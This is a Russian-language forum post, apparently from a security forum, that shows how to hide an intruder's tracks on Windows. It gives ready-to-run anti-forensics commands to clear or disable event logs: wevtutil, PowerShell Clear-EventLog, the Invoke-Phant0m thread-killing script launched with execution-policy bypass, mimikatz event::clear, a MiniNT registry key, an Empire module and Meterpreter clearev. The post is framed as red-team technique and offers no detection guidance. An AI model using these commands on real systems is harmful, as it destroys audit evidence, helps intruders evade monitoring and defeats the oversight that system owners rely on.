0
Vander
Staff member
- Nov 10, 2019
- 468
- 1,158
В этой статье речь пойдет о том как удаить следы вашего нежелательного присутствия в системах семейства Windows.
Defense Evasion - это cyber kill chain attack стратегия , которая включает методы, используемые злоумышленниками для предотвращения обнаружения во время их деятельности.
Немного подробностей:
- MITRE TACTIC: Defenses Evasion (TA0005)
- MITRE TECHNIQUE: Impair Defence (T1562)
- SUBTITLE: Disable Windows Event Logging (T1562.002)
Очистка Event log с помощью команды Wevtutil
Это системный инструмент, позволяющий просматривать подробные сведения о журналах событий и издателях. Вы также можете использовать эту команду для установки и удаления манифестов событий, экспорта, архивирования и очистки журналов.
Попробуем удалить с помощью него логи в категории Security.
Code:
wevtutil cl Security
Очистка Event log с помощью Powershell
Другой метод - использовать PowerShell для очистки журналов, поскольку вы можете заметить, что на компьютере есть журнал System и Security.
Code:
Clear-Eventlog -LogName Security
Clear-Eventlog -LogName System
Code:
Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }
PhantomЭтот скрипт просматривает стеки потоков процесса службы Event Log (в частности, svchost.exe) определяет потоки журнала событий и уничтожает те потоки, которые используются службой журнала событий. Таким образом, система не сможет собирать логи, и в то же время служба Event Log будет работать.
Скачать его можно тут - Phantom.
Скачиваем данный скрипт и запускаем, предварительно выполнив команду в powershell:
Code:
powershell -ep bypass- Bypass – разрешён запуск любых PS файлов (предупреждения не выводятся) – эта политика обычно используется для автоматического запуска PS скриптов без вывода каких-либо уведомлений (например при запуске через GPO, SCCM, планировщик и т.д.) и не рекомендуется для постоянного использования.
Code:
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
Code:
Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
MimikatzКак мы можем забыть о Mimikatz, когда речь идет о Red Team? Mimikatz - наиболее эффективный метод, позволяющий не только украсть учетные данные, но и очистить журнал из средства просмотра событий.
Запустите mimikatz от имени администратора и выполните следующие команды:
Code:
privilege::debug
event::clear
MiniNT registry key
Вы можете поиграть с реестром, создать новый раздел реестра, как указано ниже, и перезагрузить компьютер, чтобы переопределить ветви реестра.
Code:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MiniNt"
- К сожалению, наличие ключа реестра MiniNT заставляет различные компоненты Windows думать, что они работают в среде предустановки Windows. Примечательно, что наличие ключа нарушает работу средства просмотра событий - попробуйте открыть любой журнал, и вы увидите следующее очень бесполезное сообщение об ошибке: Event Viewer cannot open the event log or custom view. Verify that Event Log service is running or query is too long. The request is not supported (50)
PowerShell Empire
PowerShell Empire также можно использовать для очистки журналов, классификации потоков журнала событий и уничтожения потоков службы журнала событий.
Используйте следующую команду, чтобы запустить модуль для активных агентов:
Code:
usemodule management/phant0m
execute
И последнее, но не менее важное: у нас есть фреймворк Metasploit для очистки журналов приложений, безопасности и системных журналов из средства просмотра событий.
В сеансе meterperter вы можете выполнить следующую команду:
Code:
clearevНа этом всё, спасибо за внимание.